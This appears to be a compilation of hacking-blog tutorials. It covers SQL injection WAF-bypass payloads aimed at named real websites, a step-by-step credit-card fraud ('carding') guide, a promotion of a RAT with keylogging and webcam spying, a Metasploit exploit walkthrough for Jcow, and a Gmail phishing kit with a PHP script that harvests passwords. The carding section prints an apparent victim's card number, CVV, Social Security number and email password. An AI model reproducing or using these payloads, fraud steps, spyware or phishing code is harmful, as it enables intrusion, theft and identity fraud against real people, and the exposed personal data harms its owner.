SQL INJECTION : BYPASSING WAF (WEB APPLICATION FIREWALL)

 ***this tutorial to show you how to Bypass WAF(Web Application Firewall)***

http://www.instintocigano.com.br/artigos-de-baralho-cigano.php?

id=-130+Union+select+1,2,3,4,5,6,7,8,9--

SQL INJECTION : BYPASSING WAF (WEB APPLICATION FIREWALL)

like we see [select] is down let's double text [Replacing keywords] like this SeLselectECT

www.instintocigano.com.br/artigos-de-baralho-cigano.php

id=-130+UnIoN+SeLselectECT+1,2,3,4,5,6,7,8,9--

[5] WAF Bypassing – using characters.

There is a whole bunch of characters available we can use to bypass WAF filters.

following characters can do this:

|, ?, ", ', *, %, £ , [], ;, :, \/, $, €, ()...

by using these characters in lots of cases /*!*/ is not filtered. But the sign * is replaced whit a space and union – select are filtered. which means replacing the keywords would not work.
In these cases we can simply use the * character to split the keywords.

We would do the next logical thing:

www.[site].com/index.php?id=-1+uni*on+sel*ect+1,2,3,4--+-

Almost the same as splitting keywords.
But in this case only * is filtered out by the was replacing it whit a space having the same result as in splitting keywords.

[6] Advanced WAF Bypassing – Capitalization.

Another way is to simply capitalize our characters.
Instead of union UnIoN In some basic WAF’s this will work.

An example in URL:

www.[site].com/index.php?id=-1+UnIoN+SeLeCt+1,2,3,4--+-

[7] HTTP Parameter Pollution (HPP)

HTTP Parameter Pollution (HPP) is a Web attack evasion technique that allows an attacker to craft a HTTP request in order to manipulate or retrieve hidden information. This evasion technique is based on splitting an attack vector between multiple instances of a parameter with the same name. Since none of the relevant HTTP RFCs define the semantics of HTTP parameter manipulation, each web application delivery platform may deal with it differently. In particular, some environments process such requests by concatenating the values taken from all instances of a parameter name within the request. This behavior is abused by the attacker in order to bypass pattern-based security mechanisms.

we see two SQL injection vectors: "Regular attack" and "Attack using HPP". The regular attack demonstrates a standard SQL injection in the prodID parameter. This attack can be easily identified by a security detection mechanism, such as a Web Application Firewall (WAF). The second attack [Figure:2] uses HPP on the prodID parameter. In this case, the attack vector is distributed across multiple occurrences of the prodID parameter. With the correct combination of technology environment and web server, the attack succeeds. In order for a WAF to identify and block the complete attack vector it required to also check the concatenated inputs.

http://testasp.vulnweb.com/showforum.asp?id=-1 union select 1,2 --

testasp.vulnweb.com/showforum.asp?id=-1/* &id= */union/* &id= */select/* &id= */1,2 --

HPP technique

Spoiler (Click to View)

[8] CRLF WAF Bypass technique

CR LF means "Carriage Return, Line Feed"

CR LF means "Carriage Return, Line Feed"-it's a DOS hangover from the olden days from when some devices required a Carriage Return, and some devices required a Line Feed to get a new line, so Microsoft decided to just make a new-line have both characters, so that they would output correctly on all devices.

Windows programs expect their newline format in CRLF (\r\n). *nix expect just LF data (\n). If you open a Unix text document in Notepad on windows, you'll notice that all of the line breaks dissapear and the entire document is on one line. That's because Notepad expects CRLF data, and the Unix document doesn't have the \r character.

There are applications that will convert this for you on a standard *nix distro (dos2unix and unix2dos)

For those wondering, a carriage return and a line feed differ from back in Typewriter days, when a carriage return and a line feed were two different things. One would take you to the beginning of the line (Carriage Return) and a one would move you one row lower, but in the same horizontal location (Line Feed)

CRLF technique

Syntax :

PHP Code:
%0A%0D+Mysql Statement's+%0A%0D

?id=-2+%0A%0D/*!%0A%0Dunion*/+%0A%0D/*!50000Select*/%0A%0D/*!+77771,77772,unhex(hex(/*!password*/)),77774+from+/*!`users`*/-- -

Example in URL:

fpchurch.org.uk/News/view.php?id=-26+%0A%0Dunion%0A%0D+%0A%0Dselect%0A%0D+1,2,3,4,5 --

[9] Fatal Error Occurred bypassing

to understand how we can bypassing Fatal Error Occurred see this Example :

Example in URL:

http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,2,3,4,5,6,7,8--

Which it concluded that the error in the structure of one of the columns To avoid this error try changing the word column column value null one by one :-

PHP Code:
http://wwfa.org.uk/article.php?id=-174 UNION SELECT null,2,3,4,5,6,7,8-- Error
http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,null,3,4,5,6,7,8-- Error
http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,2,null,4,5,6,7,8-- Error
http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,2,3,null,5,6,7,8-- Error
http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,2,3,4,null,6,7,8-- No Error

demo :-

http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,2,3,4,null,6,7,8--

[10] Bypass with Information_schema.tables

now I will show you many method to Bypass Information_schema.tables

[1] Spaces
information_schema . tables

[2] Backticks

`information_schema`.`tables`

[3] Specific Code

PHP Code:
/*!information_schema.tables*/

[4] Encoded

FROM+information_schema%20%0C%20.%20%09tables

[5] foo with `.`

(select+group_concat(table_name)`foo`+From+`information_schema`.`tAblES`+Where+table_ScHEmA=schEMA())

[6] Alternative Names

Alternative Names technique with Example :-

PHP Code:
information_schema.statistics
information_schema.key_column_usage
information_schema.table_constraints
information_schema.partitions

The [STATISTICS] table provides information about table indexes.

let's see some Example to extract tables and columns

Example -1 [table] : [information_schema.statistics]

fpchurch.org.uk/News/view.php?id=-26+union+select+1,group_concat(table_name),3,4,5+from+information_schema.statistics --

Example -2 [column] : [information_schema.key_column_usage]

http://fpchurch.org.uk/News/view.php?id=-26+union+select+1,column_name,3,4,5+from+information_schema.key_column_usage+whe?re+table_name=0x7573657273 --

[11] Buffer Overflow bypassing

Majority waf Allowav written in the C language, which makes them vulnerable to override.

A buffer overflow occurs when a program or process tries to store more data in a buffer (temporary data storage area) than it was intended to hold. Since buffers are created to contain a finite amount of data, the extra information - which has to go somewhere - can overflow into adjacent buffers, corrupting or overwriting the valid data held in them. Although it may occur accidentally through programming error, buffer overflow is an increasingly common type of security attack on data integrity. 

In buffer overflow attacks, the extra data may contain codes designed to trigger specific actions, in effect sending new instructions to the attacked computer that could, for example, damage the user's files, change data, or disclose confidential information. Buffer overflow attacks are said to have arisen because the C programming language supplied the framework, and poor programming practices supplied the vulnerability.

In July 2000, a vulnerability to buffer overflow attack was discovered in Microsoft Outlook and Outlook Express. A programming flaw made it possible for an attacker to compromise the integrity of the target computer by simply it sending an e-mail message. Unlike the typical e-mail virus, users could not protect themselves by not opening attached files; in fact, the user did not even have to open the message to enable the attack. The programs' message header mechanisms had a defect that made it possible for senders to overflow the area with extraneous data, which allowed them to execute whatever type of code they desired on the recipient's computers. Because the process was activated as soon as the recipient downloaded the message from the server, this type of buffer overflow attack was very difficult to defend. Microsoft has since created a patch to eliminate the vulnerability.

Buffer Overflow statement in SQLI+and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A’s)

this AAAAA it's more 1000 A

Example in URL:

PHP Code:

http://www.punjab-dj.com/music/song.php?cat=Punjabi&n==25799' and 0 union select 1,version(),3,4,5,6,7,8,9--+

with Buffer overflow WAF Bypass Unexpected

http://www.punjab-dj.com/music/song.php?cat=Punjabi&n==25799'+and(/*!50000select*/ 1)=(/*!32302select*/ 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAAAAAAAAAAA)+ and 0 union select 1,version(),3,4,5,6,7,8,9--+

http://www.petrobangla.org.bd/notice_details.php?nid=594 and (select 1)=(select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) /*!50000union*/ select 1,version(),3,4,5,6,7,8,9--

Part [2]

now let's see some tricks

[1] Union Select bypassing :-
 

+--+Union+--+Select+--+
+#uNiOn+#sEleCt+
+union+distinct+select+
+union+distinctROW+select+
+union%23aa%0Aselect+
0%a0union%a0select%09
%0Aunion%0Aselect%0A
+UnIoN+SeLselectECT+

/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f%2a*/UNION%2f%2a*/SELECT%2f%2a*/
+%2F**%2Funion%2F**%2Fselect+

+UnIoN/*&a=*/SeLeCT/*&a=*/

+%0A%0D/*!%0A%0Dunion*/+%0A%0D/*!50000Select*/%0A%0D
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/

[2] concat bypassing

group_concat()
grOUp_ConCat(/*!*/,0x3e,/*!*/)
group_concat(,0x3c62723e)
g%72oup_c%6Fncat%28%76%65rsion%28%29,%22~BlackRose%22%29

CoNcAt()
concat()
CoNcAt()
CONCAT(DISTINCT )
concat(0x3a,,0x3c62723e)
/*!50000cOnCat*/

concat_ws()
concat_ws(0x3a,)
CONCAT_WS(CHAR(32,58,32),version(),)

REVERSE(tacnoc)

binary(version())

uncompress(compress(version()))

aes_decrypt(aes_encrypt(version(),1),1)

[3] LIMIT pybassing

If LIMIT not work we can use :-
 

+LIMIT+0,1

+where+id+=1

WHERE ID_Produit='26 -- -

+having+id+=1

+and length((select password from users having substr(pass,1,1)=’a'))

[4] Null Parameter

id=-1
id=null
id=1+and+false+
id=9999
id=1 and 0
id==1
id=(-1)
=1=1

+And+1=0
/*!and*/+1=0

[5] If Column not Appear
 

Having+1=1 
+and=0+
+div+0+
replace ' = %23 
where 1=1
Example in URL:

http://fpchurch.org.uk/News/view.php?id=-26+div+0+union+select+1,2,3,4,5 --

=2=2 Error based

Example in URL:
 

fpchurch.org.uk/News/view.php?id=26=26+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(version()+as+char),0x7e))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a) 

 

+union+select 1111,2222,3333-- see sorce
 

http://fpchurch.org.uk/News/view.php?id=-26+div+0+union+select+1111,2222,3333,4444,5555 -- 
 

[6] unhex(hex code :-

unhex(hex(value))

convert(database() using latin1)

cast(value as char)

uncompress(compress(version()))

cast(value as char)

aes_decrypt(aes_encrypt(value,1),1)

binary(value)

convert()
 

Example in URL:

http://www.andytimmons.com/video.php?id=-0004 UNION SELECT 1,2,convert(database() using latin1),4,5,6,7,8--

[7] Requested to WAF bypassing :-

# tables #

 

In tables directly

(/*!50000%53elect*/%0A/*!50000%54able_name*/%0A%0A/*!50000%46roM*/%0A/*!50000%49nfORmaTion_%53cHema . %54AblES*/%0A/*!50000%57here*/%0A%54able_ScHEmA=schEMA()%0Alimit%0A0,1) 


 

Warning:
The above post is completely for educational purpose only.  Never attempt to follow the above ste
ps against third-party websites.
:D enjoy hacking

CARDING : LEARN CREDIT CARD HACKING FOR NOOBS 2016

Carding Tutorial For Noobs

Don't be lazy, read it all!!!

First let's start on what you need:

1. Computer, MacBook, laptop, etc...

2. A virtual private network (VPN) extends a private network across a public network, such as the Internet. It enables a computer to send and receive data across shared or public networks as if it was directly connected to the private network while benefitting from the functionality, security and management policies of the private network.[1] This is done by establishing a virtual point-to-point connection through the use of dedicated connections, encryption, or a combination of the two. ( You got a lot of free VPN software on the internet, or trial) 

3. RPD - Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose while the other computer must run RDP server software.

Clients exist for most versions of Microsoft Windows (including Windows Mobile), Linux, Unix, Mac OS X, iOS, Android, and other modern operating systems. RDP servers are built into Windows operating systems; an RDP server for Linux also exists. By default, the server listens on TCP port 3389.

Microsoft currently refers to their official RDP server software as Remote Desktop Services, formerly "Terminal Services". Their official client software is currently referred to as Remote Desktop Connection, formerly "Terminal Services Client"

You can connect to RPD by clicking on start menu - remote desktop connection - then type victims IP address. Example 74.7.42.89, click connect, now it will pop up the screen asking for password and username which is in this case: Username: Shipping Password shipping1. Now click ok, and you will get access to Remote Desktop Connection - which means you are connected to someone computer and you will buy stuff from victims computer. Not YOURS!

CARDING: LEARN CREDIT CARD HACKING FOR NOOBS 2016

CARDING: LEARN CREDIT CARD HACKING FOR NOOBS 2016

4. Socks 5 SOCKet Secure (SOCKS) is an Internet protocol that routes network packets between a client and server through a proxy server. SOCKS5 additionally provides authentication so only authorized users may access a server. Practically, a SOCKS server proxies TCP connections to an arbitrary IP address, and provides a means for UDP packets to be forwarded. SOCKS performs at Layer 5 of the OSI model (the ******* layer, an intermediate layer between the presentation layer and the transport layer).

You can get socks for free Click Here or you can buy fresh which I recommend Click Here
How to use socks5? Example of socks4/socks5 is 75.119.127.189:36871
Socks5 are very easy to use via Mozilla Firefox. First open Mozilla Firefox, next step
is firefox - options - advanced - network - connections - settings. Now the screen will pop up various options like: 

1. No proxy; 
2.Auto Detect; 
3.Use system proxy; 
4. Manual proxy configuration.

You mark 4.Manual proxy configuration. Now type in socks host IP you have, example Socks Host: 75.119.127.189 Port: 1080. Press ok and you are connected to secure socks5. Will explain more when we start carding.

5. Victims credit card, you can get a lot of free credit cards here on ABH, or you can buy one from various CVV shops that can be found on the internet. Example off victims credit card:

First Name: Harvey
Middle Name: James
Last Name: Meghan
Spouse Name:
Father Name:
Billing Address: 9006 Peppertree circle
City: Wichita
State: KS
Zip Code: 67226
Country: US
Phone Number: 3166342050
Credit Card Information:
*********
Card Type: Credit
Credit Card Number: 5102 4129 0001 1332
Exp. Date : 6/June / 2012
Name On Card: H. James Meehan
Cvv2: 474
Mother Maiden Name: penny
Social Security Number: 515 16 4160
Birth Day: 28
Birth Month: 02
Birth Year: 1926
Account Information:
*******
AOL ID: hjimdoc@aol.com
Password: Jm6227mh
Note: This is the only example off victims credit card, you don't need all this information to the card like DOB (date of birth) SSN (social security number) etc. Some sites ask only for card numbers, ex-date, and cvv2.

Now that you have all this above, let's start carding

Let us say we want the free phone like Samsung S4, IPHONE 5, Sony Z etc...
First of all, I want to recommend a website shop from your country. Why? Because you don't need to wait a lot for your package. In my country, they deliver in 2 days, most 3 days. I am sure there are a lot of cell phones shops in any country. Use google and find it.

There are two types of shops, VBV and NONVBV:

VBV is a Verified by Visa, an online security system for credit card transactions. Which means you need to provide a card knowing a lot of victim credit card information such as DOB (date of birth), SSN (social security numbers), the Secure password which cc owner use for the online purchase. What You can check on the shop is there a VBV VERIFIED BY VISA ICON on the home page.

NONVBV is not verified by visa card, you can buy anything with NONVBV cards without going thru 3d verification process.
We leave now this for later.

1. Connect to your VPN software and chose ip - the country you want.

2. Connect to RPD ( Remote Desktop connection), must be same country (IP), state as card holder Address. Do not forget that.

3. Now from your RPD, connect to socks5 via Mozilla firefox, example 97.77.96.226 34539 United States, MUST BE SAME ASS CARD HOLDER: COUNTRY, STATE, CITY!

4. When you were done all that, create the email with the same name as credit card holder name, same address, same city, and everything. Or if you got email access that would be a lot better.

5. Go to your website shop you want to card. ( don't be lazy and find a good your private shop from your country or any other that ships worldwide).

6. Register with credit card holder information, name, country, city, address, and email you made one just for this ORDER.

7. Add a shipping address, some sites don't allow to ship to the different address but there are plenty of shops which do. Shipping address is where the package will be delivered. Which means you provide your address, girlfriend address, friend address, to your drop etc.

8. Select the product you want, and click on check out, now it will ask for you know, how you will pay. Choose credit card, and type victim's credit card numbers and other information needed.

9. Click order now, and I am sure 100000000000% they will confirm your order via email or you will track your order on the website, after pressing order.

(note that some sites need phone verification, but you can always buy phone number, confirm your order, and destroy it after they ship your item) it's how I do it.

10. Wait for the order to arrive at your shipping address, I personally use FEDEX, EURO EXPRESS, CITY EXPRESS. When they arrive they call me, and I can say different
address where I want to pick up my order. Sign in with fake name you provided and run xDDDDDDDDD. Just joking. Be a calm down like you just stole 100 MILION US DOLLARS and take the package. Use item for yourself or sell it, and then repeat till you die!!!

GOOD LUCK IN EASY CARDING!

TAGS: hacking credit cards tutorial

visa card password hack

credit card hacking software

credit card hacking forum

credit card hacking software free download

credit card hacking tools

credit card hacking so easy

credit card hacking online

Omni Rat the best Stable RAT to Turn Your Android Phone into a Hacking Machine

RAT ( Remote Administration Tool ) was designed to control and monitor activities of users likely for parents to monitor the activity of their children,s or if a boss wants to monitor his staff either the staff is doing the job or not.

A the first RAT tools were used to monitor the activity of people over the computer systems running os such as Windows and for it they mostly use .net executable botnets however java based rats are also famous in the market and are widely used to control Linux, and other smartphones.

Now a research proves that usage of the smartphone is increasing day by day and people are mostly using their smartphones to explore the internet, however, professionals still prefer to use Computer over a smartphone.

Now today,s post is about one of the best Remote Administration Tool which could be used to operate and monitor your computer using your android phone. YES ! its true now you can control all of your users and can monitor their activity using an android phone. This monster RAT tool could be operated using Android and also from your PC too. Its called " Omni RAT "

Omni RAT is developed on Android which could be used to target and control Windows OS , the best thing about it which makes this RAT different from other Remote Administration Tools is this RAT could be used to control from Android Phone, however, rest of the RAT software's which are available in the market have command and control based on OS like Windows, or are simply controlled from Computer Systems. This Omni RAT is had interactive Interface and command & control structure which is available on PC and also on the android phone.

Here are the best features of omni light which deserves a highlight.

System information
 You can easily check the systems information that which operating system is running on the victims machine.

Drive Information
You can see the Total, Free and Used Space on each Drive on the clients machine

Processes
You can view, create and kill processes on the client machine.

Read out text
You can send text to your client which will be read out loud on his machine.

Clipboard
You can get and set the Clipboard of your client.

Desktop
You can view the clients monitor and control its mouse and keyboard.

Webcam
You can view your clients webcam.

Microphone
You can record the clients microphone.

Micellaneous
OmniRAT has several miscellaneous functions (e.g. Open Browser, Play Sound etc.)

Windows
OmniRAT is optimized and works best on Windows machines.

Mac OS
OmniRAT works on all Mac OS systems, but supports less features.

Clean Code
OmniRAT was coded carefully to make it stable and smooth.

Host File
You can view the host file of the client.

Terminal
You have full access to the clients command line.

MessageBox
You can send various Messageboxes to your client.

Chat
You can chat with your client.

FileManager
You can view, create, delete, rename, download, copy and move all files & folders on your clients machine.

Location
You can view your clients location on your default maps app.

Keylogger
You can view all entered Keys of the clients Keyboard

Services
You can view all Windows Services on your clients machine.

Android
OmniRAT works on all Android Devices (Phones, Tablets) with minimum Version 4.0

Linux
OmniRAT works on all Unix machines, but supports less features.

Clean Design
OmniRAT has a clean and soft design, which makes it easy to understand and use.

Java Client
The Client was coded in Java to support as many OS as possible. It requires the Java Version 7 and is extremely persistent.

This RAT could be counted in worlds most cheapest RAT tools , because the price of this RAT is just 25$ and the best thing is it gives you lifetime license i.e it will not expire any time. it also give you complete support.

Have a look on Android Based Interface it looks pretty cool to monitor using android phone as I mentioned it can turn your android phone into a hacking monster. 

To purchase this RAT, Tool simply visit their official website http://omnirat.eu/ or click here,

However we are not responsible for your usage, Security Fuse posted this article to allow personal usage and legal use only. Hope you will have a good experience with that stable rate.

4 Steps Hacking Jcow Social Networking Web Server via Arbitrary Code Execution

After very long times I didn't write about hacking webserver, today "again" when surfing around I've found that Jcow Social networking engine can be exploited and the exploit ranking marked as "excellent".
So actually, what happen when you have this Jcow vulnerable version??The simple thing is the attacker can go through your web server directory and doing everything there. For example, if you hosting your Jcowvulnerable version(on insecure hosting also  ) you can own your web server directory.
In this example, let's say I have a Jcow vulnerable web server in IP address 192.168.8.94. Actually, it's better to try installing your own web server, but if you want to find out Jcow in the wild you can search through Google dork "intext: Powered by Jcow 4.2.0" and register as the normal user there. In this tutorial I have already registered as username: victim and password also victim 
Okay, I hope you understand what I say above  to make it more realistic, let's try the tutorial…

4 Steps Hacking Jcow Social Networking Web Server via Arbitrary Code Execution

Level: Medium

Victim Server: work fine if victim uses Windows XP SP3

Victim vulnerable application: JCow 4.2

Attacker O.S: obviously you need Backtrack 5 R1

Requirement :

Here only you need bellow two item.

Which is your actual need.

1#. Metasploit framework

2.# Jcow.rb exploit mediafire.com

Now lets start this article.

4 Steps Hacking Jcow Social Networking Web Server via ArbitraryCode Execution Process:

1.#, first of all, you simply  Copy the 

downloaded cow.rb exploit from the 

download link above and copy it into /pentest/exploits/framework/modules/exploits/remote/ folder(for example see the command below).

cp jcow.rb /pentest/exploits/framework/modules/exploits/remote/

now you see the text "framework" in blue color it's only because I'm using 

Backtrack 5 R1 and using Metasploit 

v4.0.1, so the name depended on 

your Metasploit version, maybe on your 

the computer can be "framework3" or 

"framework2" so on..so don't have

confused.

2.# now when you copy successfully 

after that, simply  Open your Metasploit 

console and then use the exploit you just added before see bellow 

msf > use exploit/remote/jcow

3.# now when you complete step 2, The 

next step we need to view the available 

switch for this exploit by running the show 

options command, and then configured it(see the text with red color).

msf  exploit(jcow) > set rhost 192.168.8.94 --> set the target IP
rhost => 192.168.8.94
msf  exploit(jcow) > set username victim --> set the username
username => victim
msf  exploit(jcow) > set password victim --> set the password
password => victim
msf  exploit(jcow) > set uri jcow --> only if jcow not in/directory fill it here
uri => jcow

Importent:::?

Set URI can be used if cow was not 

installed on web server main directory, 

for example http://web-server.com/jcow.

4#. now your work has been almost  

done , After everything was set up 

successfully, the next thing to do was 

exploiting or running the exploit by using

  exploit command.

How To Hack Gmail Account 2015 2016

How To Hack Gmail Account 2015

How To Hack Gmail Account 2015

Hello Guys As I Received Too Many Requests Regarding Gmail Hacking So Today m Gonna Sharing How to Hack Gmail Account 2015,So Lets Start :) Before creating a phishing page, you should first know what is phishing attack. Phishing is a way of attempting to acquire information such as usernames, passwords, and credit card details by masquerading as a trustworthy entity in an electronic communication. Communications purporting to be from popular social web sites, auction sites, online payment processors or IT administrators are commonly used to lure the unsuspecting public. Phishing is typically carried out by e-mail spoofing or instant messaging.

Here is a step by step guide will show you how you can make your own GMAIL Phishing (Fake) page easily.
How to create a phishing page?


Step 1 : Create a HTML page looks similar to Gmail homepage.
1. Go to the Gmail page ,and then right click on the page, you will see the option view page source, click on that.

2. Open the HTML file in Notepad and find these image tags and change it to like this. This means, you have to download those two images and save it with those names (logo_2x.png to logo.png and avatar_2x to avatar.png) in the same directory/folder.

3. Search for action="https://www.google.com/accounts/ServiceLoginAuth" and replace it with action="login.php"and save it asindex.html.

Step 2: Create a PHP file

1. Open a new notepad copy the below code and paste it with name login.php.

<?php
header("Location: http://www.gmail.com/login.php ");
$handle = fopen("passwords.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

Step 3 : Create a empty .txt (notepad) file with name passwords.txt

Now you have three files 1) index.html , 2) login.php , 3) passwords.txt, 4)logo.png and 5)avatar.png.

Now here comes the method to get password and email address of the victim :

Now upload these files in any free server like 000webhosting , 1freehosting etc.. And now give the url of that page to your victim. And when your victim try to login in to it with the username and password , the page redirects to Facebook and you will see his email and password which was saved in passwords.txt file.

Or try yourself by installing any server like xampp or wampp server in your PC and run the index.html file via localhost to check it. I have tested the files which works 100%. Look at the below image to check it.

Note : "Phishing" is identity theft. Attempted identity theft is still a crime. This tutorial is for educational purpose. Do at your own risk.

Follow us on Facebook


phishing email 
email phishing
phishing scams 
phishing scam 
phishing attack 
phishing attacks 
phishing attacks 
spear phishing 
phishing
what is phishing 

phishing definition